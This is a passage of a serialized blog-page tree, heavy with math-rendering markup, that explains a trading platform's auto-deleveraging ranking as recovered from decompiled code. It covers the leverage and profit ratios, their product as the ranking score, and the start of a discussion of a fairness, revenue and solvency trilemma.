leverage",{"type":23,"tag":314,"props":159600,"children":159602},{"className":159601,"style":3442},[3344],[],{"type":23,"tag":314,"props":159604,"children":159606},{"className":159605},[3447],[159607],{"type":28,"value":1102},{"type":23,"tag":314,"props":159609,"children":159611},{"className":159610,"style":3442},[3344],[],{"type":23,"tag":314,"props":159613,"children":159615},{"className":159614},[3253],[159616,159621],{"type":23,"tag":314,"props":159617,"children":159620},{"className":159618,"style":159619},[3258],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":314,"props":159622,"children":159624},{"className":159623},[3264],[159625,159629,159724],{"type":23,"tag":314,"props":159626,"children":159628},{"className":159627},[20954,112817],[],{"type":23,"tag":314,"props":159630,"children":159632},{"className":159631},[112822],[159633],{"type":23,"tag":314,"props":159634,"children":159636},{"className":159635},[3285,20879],[159637,159712],{"type":23,"tag":314,"props":159638,"children":159640},{"className":159639},[3290],[159641,159707],{"type":23,"tag":314,"props":159642,"children":159644},{"className":159643,"style":158401},[3295],[159645,159666,159677],{"type":23,"tag":314,"props":159646,"children":159647},{"style":158405},[159648,159652],{"type":23,"tag":314,"props":159649,"children":159651},{"className":159650,"style":111470},[3304],[],{"type":23,"tag":314,"props":159653,"children":159655},{"className":159654},[3264],[159656],{"type":23,"tag":314,"props":159657,"children":159659},{"className":159658},[3264,28],[159660],{"type":23,"tag":314,"props":159661,"children":159663},{"className":159662},[3264],[159664],{"type":28,"value":159665},"account value",{"type":23,"tag":314,"props":159667,"children":159668},{"style":112872},[159669,159673],{"type":23,"tag":314,"props":159670,"children":159672},{"className":159671,"style":111470},[3304],[],{"type":23,"tag":314,"props":159674,"children":159676},{"className":159675,"style":112882},[112881],[],{"type":23,"tag":314,"props":159678,"children":159679},{"style":158456},[159680,159684],{"type":23,"tag":314,"props":159681,"children":159683},{"className":159682,"style":111470},[3304],[],{"type":23,"tag":314,"props":159685,"children":159687},{"className":159686},[3264],[159688,159693,159702],{"type":23,"tag":314,"props":159689,"children":159691},{"className":159690},[3264],[159692],{"type":28,"value":158471},{"type":23,"tag":314,"props":159694,"children":159696},{"className":159695},[3264,28],[159697],{"type":23,"tag":314,"props":159698,"children":159700},{"className":159699},[3264],[159701],{"type":28,"value":158481},{"type":23,"tag":314,"props":159703,"children":159705},{"className":159704},[3264],[159706],{"type":28,"value":158471},{"type":23,"tag":314,"props":159708,"children":159710},{"className":159709},[20982],[159711],{"type":28,"value":20985},{"type":23,"tag":314,"props":159713,"children":159715},{"className":159714},[3290],[159716],{"type":23,"tag":314,"props":159717,"children":159720},{"className":159718,"style":159719},[3295],"height:0.686em;",[159721],{"type":23,"tag":314,"props":159722,"children":159723},{},[],{"type":23,"tag":314,"props":159725,"children":159727},{"className":159726},[20976,112817],[],{"type":23,"tag":24,"props":159729,"children":159730},{},[159731,159733,159739,159741,159747,159748,159754,159756,159762],{"type":28,"value":159732},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":94,"props":159734,"children":159736},{"className":159735},[],[159737],{"type":28,"value":159738},"abs_notional",{"type":28,"value":159740}," (unsigned), and ",{"type":23,"tag":94,"props":159742,"children":159744},{"className":159743},[],[159745],{"type":28,"value":159746},"float.d(rbx)",{"type":28,"value":4756},{"type":23,"tag":94,"props":159749,"children":159751},{"className":159750},[],[159752],{"type":28,"value":159753},"account_value",{"type":28,"value":159755}," (signed); the division is ",{"type":23,"tag":94,"props":159757,"children":159759},{"className":159758},[],[159760],{"type":28,"value":159761},"abs_notional / account_value",{"type":28,"value":282},{"type":23,"tag":24,"props":159764,"children":159765},{},[159766],{"type":28,"value":159767},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":158295,"props":159769,"children":159773},{"addr":159770,"line-start":159771,"line-end":159772},"0x555556abb140","278","296",[],{"type":23,"tag":61,"props":159775,"children":159777},{"id":159776},"ratio-2-profit-ratio",[159778],{"type":28,"value":159779},"Ratio 2: Profit Ratio",{"type":23,"tag":304,"props":159781,"children":159782},{},[159783],{"type":23,"tag":94,"props":159784,"children":159786},{"className":159785},[3237,158323],[159787],{"type":23,"tag":314,"props":159788,"children":159790},{"className":159789},[158328],[159791],{"type":23,"tag":314,"props":159792,"children":159794},{"className":159793},[3243],[159795],{"type":23,"tag":314,"props":159796,"children":159798},{"className":159797,"ariaHidden":1481},[3248],[159799,159830],{"type":23,"tag":314,"props":159800,"children":159802},{"className":159801},[3253],[159803,159807,159817,159821,159826],{"type":23,"tag":314,"props":159804,"children":159806},{"className":159805,"style":114354},[3258],[],{"type":23,"tag":314,"props":159808,"children":159810},{"className":159809},[3264,28],[159811],{"type":23,"tag":314,"props":159812,"children":159814},{"className":159813},[3264],[159815],{"type":28,"value":159816},"profit ratio",{"type":23,"tag":314,"props":159818,"children":159820},{"className":159819,"style":3442},[3344],[],{"type":23,"tag":314,"props":159822,"children":159824},{"className":159823},[3447],[159825],{"type":28,"value":1102},{"type":23,"tag":314,"props":159827,"children":159829},{"className":159828,"style":3442},[3344],[],{"type":23,"tag":314,"props":159831,"children":159833},{"className":159832},[3253],[159834,159838],{"type":23,"tag":314,"props":159835,"children":159837},{"className":159836,"style":158376},[3258],[],{"type":23,"tag":314,"props":159839,"children":159841},{"className":159840},[3264],[159842,159846,159965],{"type":23,"tag":314,"props":159843,"children":159845},{"className":159844},[20954,112817],[],{"type":23,"tag":314,"props":159847,"children":159849},{"className":159848},[112822],[159850],{"type":23,"tag":314,"props":159851,"children":159853},{"className":159852},[3285,20879],[159854,159954],{"type":23,"tag":314,"props":159855,"children":159857},{"className":159856},[3290],[159858,159949],{"type":23,"tag":314,"props":159859,"children":159861},{"className":159860,"style":158401},[3295],[159862,159883,159894],{"type":23,"tag":314,"props":159863,"children":159864},{"style":158405},[159865,159869],{"type":23,"tag":314,"props":159866,"children":159868},{"className":159867,"style":111470},[3304],[],{"type":23,"tag":314,"props":159870,"children":159872},{"className":159871},[3264],[159873],{"type":23,"tag":314,"props":159874,"children":159876},{"className":159875},[3264,28],[159877],{"type":23,"tag":314,"props":159878,"children":159880},{"className":159879},[3264],[159881],{"type":28,"value":159882},"entry notional",{"type":23,"tag":314,"props":159884,"children":159885},{"style":112872},[159886,159890],{"type":23,"tag":314,"props":159887,"children":159889},{"className":159888,"style":111470},[3304],[],{"type":23,"tag":314,"props":159891,"children":159893},{"className":159892,"style":112882},[112881],[],{"type":23,"tag":314,"props":159895,"children":159896},{"style":158456},[159897,159901],{"type":23,"tag":314,"props":159898,"children":159900},{"className":159899,"style":111470},[3304],[],{"type":23,"tag":314,"props":159902,"children":159904},{"className":159903},[3264],[159905,159911,159916,159926,159931,159935,159939,159944],{"type":23,"tag":314,"props":159906,"children":159908},{"className":159907},[20861],[159909],{"type":28,"value":159910},"max",{"type":23,"tag":314,"props":159912,"children":159914},{"className":159913},[20954],[159915],{"type":28,"value":341},{"type":23,"tag":314,"props":159917,"children":159919},{"className":159918},[3264,28],[159920],{"type":23,"tag":314,"props":159921,"children":159923},{"className":159922},[3264],[159924],{"type":28,"value":159925},"pnl",{"type":23,"tag":314,"props":159927,"children":159929},{"className":159928},[3376],[159930],{"type":28,"value":3379},{"type":23,"tag":314,"props":159932,"children":159934},{"className":159933,"style":3383},[3344],[],{"type":23,"tag":314,"props":159936,"children":159938},{"className":159937,"style":3383},[3344],[],{"type":23,"tag":314,"props":159940,"children":159942},{"className":159941},[3264],[159943],{"type":28,"value":1600},{"type":23,"tag":314,"props":159945,"children":159947},{"className":159946},[20976],[159948],{"type":28,"value":431},{"type":23,"tag":314,"props":159950,"children":159952},{"className":159951},[20982],[159953],{"type":28,"value":20985},{"type":23,"tag":314,"props":159955,"children":159957},{"className":159956},[3290],[159958],{"type":23,"tag":314,"props":159959,"children":159961},{"className":159960,"style":158499},[3295],[159962],{"type":23,"tag":314,"props":159963,"children":159964},{},[],{"type":23,"tag":314,"props":159966,"children":159968},{"className":159967},[20976,112817],[],{"type":23,"tag":24,"props":159970,"children":159971},{},[159972,159974,159980],{"type":28,"value":159973},"It uses entry notional (",{"type":23,"tag":94,"props":159975,"children":159977},{"className":159976},[],[159978],{"type":28,"value":159979},"r14_2",{"type":28,"value":159981},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":24,"props":159983,"children":159984},{},[159985],{"type":28,"value":159986},"This basically tells us how well the user's bet went.",{"type":23,"tag":158295,"props":159988,"children":159992},{"addr":159989,"addr-start":159990,"addr-end":159991},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":24,"props":159994,"children":159995},{},[159996,159998,160004,160006,160012],{"type":28,"value":159997},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":94,"props":159999,"children":160001},{"className":160000},[],[160002],{"type":28,"value":160003},"1e-8",{"type":28,"value":160005},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":94,"props":160007,"children":160009},{"className":160008},[],[160010],{"type":28,"value":160011},"effective_leverage * profit_ratio",{"type":28,"value":160013},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":24,"props":160015,"children":160016},{},[160017],{"type":28,"value":160018},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":837,"props":160020,"children":160022},{"id":160021},"partial-and-total-adl",[160023],{"type":28,"value":160024},"Partial and Total ADL",{"type":23,"tag":24,"props":160026,"children":160027},{},[160028],{"type":28,"value":160029},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":24,"props":160031,"children":160032},{},[160033],{"type":28,"value":160034},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":24,"props":160036,"children":160037},{},[160038,160040,160045],{"type":28,"value":160039},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":94,"props":160041,"children":160043},{"className":160042},[],[160044],{"type":28,"value":158620},{"type":28,"value":160046}," boils down to:",{"type":23,"tag":158295,"props":160048,"children":160051},{"addr":158666,"line-start":160049,"line-end":160050},"3252","3632",[],{"type":23,"tag":24,"props":160053,"children":160054},{},[160055],{"type":28,"value":160056},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":54,"props":160058,"children":160060},{"id":160059},"branches",[160061],{"type":28,"value":160062},"Branches",{"type":23,"tag":24,"props":160064,"children":160065},{},[160066],{"type":28,"value":160067},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":24,"props":160069,"children":160070},{},[160071],{"type":28,"value":160072},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":54,"props":160074,"children":160076},{"id":160075},"financial-conclusions",[160077],{"type":28,"value":160078},"Financial Conclusions",{"type":23,"tag":61,"props":160080,"children":160082},{"id":160081},"fairness-revenue-solvency-trilemma",[160083],{"type":28,"value":160084},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":24,"props":160086,"children":160087},{},[160088,160090,160096],{"type":28,"value":160089},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":31,"props":160091,"children":160093},{"href":159448,"rel":160092},[35],[160094],{"type":28,"value":160095},"the paper mentioned before",{"type":28,"value":160097},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":127,"props":160099,"children":160100},{},[160101,160111,160121],{"type":23,"tag":88,"props":160102,"children":160103},{},[160104,160109],{"type":23,"tag":186,"props":160105,"children":160106},{},[160107],{"type":28,"value":160108},"Solvency",{"type":28,"value":160110},": can the platform pay every trader out?",{"type":23,"tag":88,"props":160112,"children":160113},{},[160114,160119],{"type":23,"tag":186,"props":160115,"children":160116},{},[160117],{"type":28,"value":160118},"Fairness",{"type":28,"value":160120},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":88,"props":160122,"children":160123},{},[160124,160129],{"type":23,"tag":186,"props":160125,"children":160126},{},[160127],{"type":28,"value":160128},"Revenue",{"type":28,"value":160130},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":24,"props":160132,"children":160133},{},[160134],{"type":28,"value":160135},"Let's borrow these definitions from the paper:",{"type":23,"tag":304,"props":160137,"children":160138},{},[160139],{"type":23,"tag":94,"props":160140,"children":160142},{"className":160141},[3237,158323],[160143],{"type":23,"tag":314,"props":160144,"children":160146},{"className":160145},[158328],[160147],{"type":23,"tag":314,"props":160148,"children":160150},{"className":160149},[3243],[160151],{"type":23,"tag":314,"props":160152,"children":160154},{"className":160153,"ariaHidden":1481},[3248],[160155],{"type":23,"tag":314,"props":160156,"children":160158},{"className":160157},[3253],[160159,160164],{"type":23,"tag":314,"props":160160,"children":160163},{"className":160161,"style":160162},[3258],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":314,"props":160165,"children":160167},{"className":160166},[3264],[160168],{"type":23,"tag":314,"props":160169,"children":160171},{"className":160170},[159025],[160172,160991],{"type":23,"tag":314,"props":160173,"children":160175},{"className":160174},[159030],[160176],{"type":23,"tag":314,"props":160177,"children":160179},{"className":160178},[3285,20879],[160180,160979],{"type":23,"tag":314,"props":160181,"children":160183},{"className":160182},[3290],[160184,160974],{"type":23,"tag":314,"props":160185,"children":160188},{"className":160186,"style":160187},[3295],"height:11.8392em;",[160189,160260,160277,160346,160416,160485,160555,160624,160693,160762,160832,160903],{"type":23,"tag":314,"props":160190,"children":160192},{"style":160191},"top:-14.3707em;",[160193,160198],{"type":23,"tag":314,"props":160194,"children":160197},{"className":160195,"style":160196},[3304],"height:3.3714em;",[],{"type":23,"tag":314,"props":160199,"children":160201},{"className":160200},[3264],[160202],{"type":23,"tag":314,"props":160203,"children":160205},{"className":160204},[3264],[160206,160211],{"type":23,"tag":314,"props":160207,"children":160209},{"className":160208,"style":20826},[3264,20825],[160210],{"type":28,"value":20829},{"type":23,"tag":314,"props":160212,"children":160214},{"className":160213},[3280],[160215],{"type":23,"tag":314,"props":160216,"children":160218},{"className":160217},[3285,20879],[160219,160249],{"type":23,"tag":314,"props":160220,"children":160222},{"className":160221},[3290],[160223,160244],{"type":23,"tag":314,"props":160224,"children":160226},{"className":160225,"style":108731},[3295],[160227],{"type":23,"tag":314,"props":160228,"children":160230},{"style":160229},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[160231,160235],{"type":23,"tag":314,"props":160232,"children":160234},{"className":160233,"style":3305},[3304],[],{"type":23,"tag":314,"props":160236,"children":160238},{"className":160237},[3310,3311,3312,3313],[160239],{"type":23,"tag":314,"props":160240,"children":160242},{"className":160241},[3264,20825,3313],[160243],{"type":28,"value":55654},{"type":23,"tag":314,"props":160245,"children":160247},{"className":160246},[20982],[160248],{"type":28,"value":20985},{"type":23,"tag":314,"props":160250,"children":160252},{"className":160251},[3290],[160253],{"type":23,"tag":314,"props":160254,"children":160256},{"className":160255,"style":92382},[3295],[160257],{"type":23,"tag":314,"props":160258,"children":160259},{},[],{"type":23,"tag":314,"props":160261,"children":160263},{"style":160262},"top:-12.8707em;",[160264,160268],{"type":23,"tag":314,"props":160265,"children":160267},{"className":160266,"style":160196},[3304],[],{"type":23,"tag":314,"props":160269,"children":160271},{"className":160270},[3264],[160272],{"type":23,"tag":314,"props":160273,"children":160275},{"className":160274,"style":94319},[3264,20825],[160276],{"type":28,"value":94353},{"type":23,"tag":314,"props":160278,"children":160280},{"style":160279},"top:-10.8392em;",[160281,160285],{"type":23,"tag":314,"props":160282,"children":160284},{"className":160283,"style":160196},[3304],[],{"type":23,"tag":314,"props":160286,"children":160288},{"className":160287},[3264],[160289],{"type":23,"tag":314,"props":160290,"children":160292},{"className":160291},[3264],[160293,160298],{"type":23,"tag":314,"props":160294,"children":160296},{"className":160295},[3264,20825],[160297],{"type":28,"value":308},{"type":23,"tag":314,"props":160299,"children":160301},{"className":160300},[3280],[160302],{"type":23,"tag":314,"props":160303,"children":160305},{"className":160304},[3285,20879],[160306,160335],{"type":23,"tag":314,"props":160307,"children":160309},{"className":160308},[3290],[160310,160330],{"type":23,"tag":314,"props":160311,"children":160313},{"className":160312,"style":92828},[3295],[160314],{"type":23,"tag":314,"props":160315,"children":160316},{"style":92355},[160317,160321],{"type":23,"tag":314,"props":160318,"children":160320},{"className":160319,"style":3305},[3304],[],{"type":23,"tag":314,"props":160322,"children":160324},{"className":160323},[3310,3311,3312,3313],[160325],{"type":23,"tag":314,"props":160326,"children":160328},{"className":160327},[3264,20825,3313],[160329],{"type":28,"value":2993},{"type":23,"tag":314,"props":160331,"children":160333},{"className":160332},[20982],[160334],{"type":28,"value":20985},{"type":23,"tag":314,"props":160336,"children":160338},{"className":160337},[3290],[160339],{"type":23,"tag":314,"props":160340,"children":160342},{"className":160341,"style":92382},[3295],[160343],{"type":23,"tag":314,"props":160344,"children":160345},{},[],{"type":23,"tag":314,"props":160347,"children":160349},{"style":160348},"top:-8.8188em;",[160350,160354],{"type":23,"tag":314,"props":160351,"children":160353},{"className":160352,"style":160196},[3304],[],{"type":23,"tag":314,"props":160355,"children":160357},{"className":160356},[3264],[160358],{"type":23,"tag":314,"props":160359,"children":160361},{"className":160360},[3264],[160362,160368],{"type":23,"tag":314,"props":160363,"children":160365},{"className":160364,"style":92785},[3264,20825],[160366],{"type":28,"value":160367},"π",{"type":23,"tag":314,"props":160369,"children":160371},{"className":160370},[3280],[160372],{"type":23,"tag":314,"props":160373,"children":160375},{"className":160374},[3285,20879],[160376,160405],{"type":23,"tag":314,"props":160377,"children":160379},{"className":160378},[3290],[160380,160400],{"type":23,"tag":314,"props":160381,"children":160383},{"className":160382,"style":92828},[3295],[160384],{"type":23,"tag":314,"props":160385,"children":160386},{"style":92832},[160387,160391],{"type":23,"tag":314,"props":160388,"children":160390},{"className":160389,"style":3305},[3304],[],{"type":23,"tag":314,"props":160392,"children":160394},{"className":160393},[3310,3311,3312,3313],[160395],{"type":23,"tag":314,"props":160396,"children":160398},{"className":160397},[3264,20825,3313],[160399],{"type":28,"value":2993},{"type":23,"tag":314,"props":160401,"children":160403},{"className":160402},[20982],[160404],{"type":28,"value":20985},{"type":23,"tag":314,"props":160406,"children":160408},{"className":160407},[3290],[160409],{"type":23,"tag":314,"props":160410,"children":160412},{"className":160411,"style":92382},[3295],[160413],{"type":23,"tag":314,"props":160414,"children":160415},{},[],{"type":23,"tag":314,"props":160417,"children":160419},{"style":160418},"top:-7.3188em;",[160420,160424],{"type":23,"tag":314,"props":160421,"children":160423},{"className":160422,"style":160196},[3304],[],{"type":23,"tag":314,"props":160425,"children":160427},{"className":160426},[3264],[160428],{"type":23,"tag":314,"props":160429,"children":160431},{"className":160430},[3264],[160432,160437],{"type":23,"tag":314,"props":160433,"children":160435},{"className":160434},[3264,20825],[160436],{"type":28,"value":50705},{"type":23,"tag":314,"props":160438,"children":160440},{"className":160439},[3280],[160441],{"type":23,"tag":314,"props":160442,"children":160444},{"className":160443},[3285,20879],[160445,160474],{"type":23,"tag":314,"props":160446,"children":160448},{"className":160447},[3290],[160449,160469],{"type":23,"tag":314,"props":160450,"children":160452},{"className":160451,"style":92828},[3295],[160453],{"type":23,"tag":314,"props":160454,"children":160455},{"style":92355},[160456,160460],{"type":23,"tag":314,"props":160457,"children":160459},{"className":160458,"style":3305},[3304],[],{"type":23,"tag":314,"props":160461,"children":160463},{"className":160462},[3310,3311,3312,3313],[160464],{"type":23,"tag":314,"props":160465,"children":160467},{"className":160466},[3264,20825,3313],[160468],{"type":28,"value":2993},{"type":23,"tag":314,"props":160470,"children":160472},{"className":160471},[20982],[160473],{"type":28,"value":20985},{"type":23,"tag":314,"props":160475,"children":160477},{"className":160476},[3290],[160478],{"type":23,"tag":314,"props":160479,"children":160481},{"className":160480,"style":92382},[3295],[160482],{"type":23,"tag":314,"props":160483,"children":160484},{},[],{"type":23,"tag":314,"props":160486,"children":160488},{"style":160487},"top:-5.8188em;",[160489,160493],{"type":23,"tag":314,"props":160490,"children":160492},{"className":160491,"style":160196},[3304],[],{"type":23,"tag":314,"props":160494,"children":160496},{"className":160495},[3264],[160497],{"type":23,"tag":314,"props":160498,"children":160500},{"className":160499},[3264],[160501,160506],{"type":23,"tag":314,"props":160502,"children":160504},{"className":160503,"style":121579},[3264,20825],[160505],{"type":28,"value":48822},{"type":23,"tag":314,"props":160507,"children":160509},{"className":160508},[3280],[160510],{"type":23,"tag":314,"props":160511,"children":160513},{"className":160512},[3285,20879],[160514,160544],{"type":23,"tag":314,"props":160515,"children":160517},{"className":160516},[3290],[160518,160539],{"type":23,"tag":314,"props":160519,"children":160521},{"className":160520,"style":92828},[3295],[160522],{"type":23,"tag":314,"props":160523,"children":160525},{"style":160524},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[160526,160530],{"type":23,"tag":314,"props":160527,"children":160529},{"className":160528,"style":3305},[3304],[],{"type":23,"tag":314,"props":160531,"children":160533},{"className":160532},[3310,3311,3312,3313],[160534],{"type":23,"tag":314,"props":160535,"children":160537},{"className":160536},[3264,20825,3313],[160538],{"type":28,"value":2993},{"type":23,"tag":314,"props":160540,"children":160542},{"className":160541},[20982],[160543],{"type":28,"value":20985},{"type":23,"tag":314,"props":160545,"children":160547},{"className":160546},[3290],[160548],{"type":23,"tag":314,"props":160549,"children":160551},{"className":160550,"style":92382},[3295],[160552],{"type":23,"tag":314,"props":160553,"children":160554},{},[],{"type":23,"tag":314,"props":160556,"children":160558},{"style":160557},"top:-4.3188em;",[160559,160563],{"type":23,"tag":314,"props":160560,"children":160562},{"className":160561,"style":160196},[3304],[],{"type":23,"tag":314,"props":160564,"children":160566},{"className":160565},[3264],[160567],{"type":23,"tag":314,"props":160568,"children":160570},{"className":160569},[3264],[160571,160576],{"type":23,"tag":314,"props":160572,"children":160574},{"className":160573},[3264,20825],[160575],{"type":28,"value":18514},{"type":23,"tag":314,"props":160577,"children":160579},{"className":160578},[3280],[160580],{"type":23,"tag":314,"props":160581,"children":160583},{"className":160582},[3285,20879],[160584,160613],{"type":23,"tag":314,"props":160585,"children":160587},{"className":160586},[3290],[160588,160608],{"type":23,"tag":314,"props":160589,"children":160591},{"className":160590,"style":92828},[3295],[160592],{"type":23,"tag":314,"props":160593,"children":160594},{"style":92355},[160595,160599],{"type":23,"tag":314,"props":160596,"children":160598},{"className":160597,"style":3305},[3304],[],{"type":23,"tag":314,"props":160600,"children":160602},{"className":160601},[3310,3311,3312,3313],[160603],{"type":23,"tag":314,"props":160604,"children":160606},{"className":160605},[3264,20825,3313],[160607],{"type":28,"value":2993},{"type":23,"tag":314,"props":160609,"children":160611},{"className":160610},[20982],[160612],{"type":28,"value":20985},{"type":23,"tag":314,"props":160614,"children":160616},{"className":160615},[3290],[160617],{"type":23,"tag":314,"props":160618,"children":160620},{"className":160619,"style":92382},[3295],[160621],{"type":23,"tag":314,"props":160622,"children":160623},{},[],{"type":23,"tag":314,"props":160625,"children":160627},{"style":160626},"top:-2.5512em;",[160628,160632],{"type":23,"tag":314,"props":160629,"children":160631},{"className":160630,"style":160196},[3304],[],{"type":23,"tag":314,"props":160633,"children":160635},{"className":160634},[3264],[160636],{"type":23,"tag":314,"props":160637,"children":160639},{"className":160638},[3264],[160640,160645],{"type":23,"tag":314,"props":160641,"children":160643},{"className":160642},[3264,20825],[160644],{"type":28,"value":83597},{"type":23,"tag":314,"props":160646,"children":160648},{"className":160647},[3280],[160649],{"type":23,"tag":314,"props":160650,"children":160652},{"className":160651},[3285,20879],[160653,160682],{"type":23,"tag":314,"props":160654,"children":160656},{"className":160655},[3290],[160657,160677],{"type":23,"tag":314,"props":160658,"children":160660},{"className":160659,"style":92828},[3295],[160661],{"type":23,"tag":314,"props":160662,"children":160663},{"style":92355},[160664,160668],{"type":23,"tag":314,"props":160665,"children":160667},{"className":160666,"style":3305},[3304],[],{"type":23,"tag":314,"props":160669,"children":160671},{"className":160670},[3310,3311,3312,3313],[160672],{"type":23,"tag":314,"props":160673,"children":160675},{"className":160674},[3264,20825,3313],[160676],{"type":28,"value":2993},{"type":23,"tag":314,"props":160678,"children":160680},{"className":160679},[20982],[160681],{"type":28,"value":20985},{"type":23,"tag":314,"props":160683,"children":160685},{"className":160684},[3290],[160686],{"type":23,"tag":314,"props":160687,"children":160689},{"className":160688,"style":92382},[3295],[160690],{"type":23,"tag":314,"props":160691,"children":160692},{},[],{"type":23,"tag":314,"props":160694,"children":160696},{"style":160695},"top:-0.3652em;",[160697,160701],{"type":23,"tag":314,"props":160698,"children":160700},{"className":160699,"style":160196},[3304],[],{"type":23,"tag":314,"props":160702,"children":160704},{"className":160703},[3264],[160705],{"type":23,"tag":314,"props":160706,"children":160708},{"className":160707},[3264],[160709,160714],{"type":23,"tag":314,"props":160710,"children":160712},{"className":160711,"style":92533},[3264,20825],[160713],{"type":28,"value":92536},{"type":23,"tag":314,"props":160715,"children":160717},{"className":160716},[3280],[160718],{"type":23,"tag":314,"props":160719,"children":160721},{"className":160720},[3285,20879],[160722,160751],{"type":23,"tag":314,"props":160723,"children":160725},{"className":160724},[3290],[160726,160746],{"type":23,"tag":314,"props":160727,"children":160729},{"className":160728,"style":141852},[3295],[160730],{"type":23,"tag":314,"props":160731,"children":160732},{"style":109728},[160733,160737],{"type":23,"tag":314,"props":160734,"children":160736},{"className":160735,"style":3305},[3304],[],{"type":23,"tag":314,"props":160738,"children":160740},{"className":160739},[3310,3311,3312,3313],[160741],{"type":23,"tag":314,"props":160742,"children":160744},{"className":160743,"style":20826},[3264,20825,3313],[160745],{"type":28,"value":5242},{"type":23,"tag":314,"props":160747,"children":160749},{"className":160748},[20982],[160750],{"type":28,"value":20985},{"type":23,"tag":314,"props":160752,"children":160754},{"className":160753},[3290],[160755],{"type":23,"tag":314,"props":160756,"children":160758},{"className":160757,"style":92382},[3295],[160759],{"type":23,"tag":314,"props":160760,"children":160761},{},[],{"type":23,"tag":314,"props":160763,"children":160765},{"style":160764},"top:2.2624em;",[160766,160770],{"type":23,"tag":314,"props":160767,"children":160769},{"className":160768,"style":160196},[3304],[],{"type":23,"tag":314,"props":160771,"children":160773},{"className":160772},[3264],[160774],{"type":23,"tag":314,"props":160775,"children":160777},{"className":160776},[3264],[160778,160784],{"type":23,"tag":314,"props":160779,"children":160781},{"className":160780,"style":92299},[3264,20825],[160782],{"type":28,"value":160783},"D",{"type":23,"tag":314,"props":160785,"children":160787},{"className":160786},[3280],[160788],{"type":23,"tag":314,"props":160789,"children":160791},{"className":160790},[3285,20879],[160792,160821],{"type":23,"tag":314,"props":160793,"children":160795},{"className":160794},[3290],[160796,160816],{"type":23,"tag":314,"props":160797,"children":160799},{"className":160798,"style":141852},[3295],[160800],{"type":23,"tag":314,"props":160801,"children":160802},{"style":109298},[160803,160807],{"type":23,"tag":314,"props":160804,"children":160806},{"className":160805,"style":3305},[3304],[],{"type":23,"tag":314,"props":160808,"children":160810},{"className":160809},[3310,3311,3312,3313],[160811],{"type":23,"tag":314,"props":160812,"children":160814},{"className":160813,"style":20826},[3264,20825,3313],[160815],{"type":28,"value":5242},{"type":23,"tag":314,"props":160817,"children":160819},{"className":160818},[20982],[160820],{"type":28,"value":20985},{"type":23,"tag":314,"props":160822,"children":160824},{"className":160823},[3290],[160825],{"type":23,"tag":314,"props":160826,"children":160828},{"className":160827,"style":92382},[3295],[160829],{"type":23,"tag":314,"props":160830,"children":160831},{},[],{"type":23,"tag":314,"props":160833,"children":160835},{"style":160834},"top:4.8901em;",[160836,160840],{"type":23,"tag":314,"props":160837,"children":160839},{"className":160838,"style":160196},[3304],[],{"type":23,"tag":314,"props":160841,"children":160843},{"className":160842},[3264],[160844],{"type":23,"tag":314,"props":160845,"children":160847},{"className":160846},[3264],[160848,160854],{"type":23,"tag":314,"props":160849,"children":160851},{"className":160850,"style":94307},[3264,20825],[160852],{"type":28,"value":160853},"U",{"type":23,"tag":314,"props":160855,"children":160857},{"className":160856},[3280],[160858],{"type":23,"tag":314,"props":160859,"children":160861},{"className":160860},[3285,20879],[160862,160892],{"type":23,"tag":314,"props":160863,"children":160865},{"className":160864},[3290],[160866,160887],{"type":23,"tag":314,"props":160867,"children":160869},{"className":160868,"style":141852},[3295],[160870],{"type":23,"tag":314,"props":160871,"children":160873},{"style":160872},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[160874,160878],{"type":23,"tag":314,"props":160875,"children":160877},{"className":160876,"style":3305},[3304],[],{"type":23,"tag":314,"props":160879,"children":160881},{"className":160880},[3310,3311,3312,3313],[160882],{"type":23,"tag":314,"props":160883,"children":160885},{"className":160884,"style":20826},[3264,20825,3313],[160886],{"type":28,"value":5242},{"type":23,"tag":314,"props":160888,"children":160890},{"className":160889},[20982],[160891],{"type":28,"value":20985},{"type":23,"tag":314,"props":160893,"children":160895},{"className":160894},[3290],[160896],{"type":23,"tag":314,"props":160897,"children":160899},{"className":160898,"style":92382},[3295],[160900],{"type":23,"tag":314,"props":160901,"children":160902},{},[],{"type":23,"tag":314,"props":160904,"children":160906},{"style":160905},"top:7.3078em;",[160907,160911],{"type":23,"tag":314,"props":160908,"children":160910},{"className":160909,"style":160196},[3304],[],{"type":23,"tag":314,"props":160912,"children":160914},{"className":160913},[3264],[160915],{"type":23,"tag":314,"props":160916,"children":160918},{"className":160917},[3264],[160919,160924],{"type":23,"tag":314,"props":160920,"children":160922},{"className":160921,"style":122076},[3264,20825],[160923],{"type":28,"value":122079},{"type":23,"tag":314,"props":160925,"children":160927},{"className":160926},[3280],[160928],{"type":23,"tag":314,"props":160929,"children":160931},{"className":160930},[3285,20879],[160932,160963],{"type":23,"tag":314,"props":160933,"children":160935},{"className":160934},[3290],[160936,160958],{"type":23,"tag":314,"props":160937,"children":160940},{"className":160938,"style":160939},[3295],"height:0.2806em;",[160941],{"type":23,"tag":314,"props":160942,"children":160944},{"style":160943},"to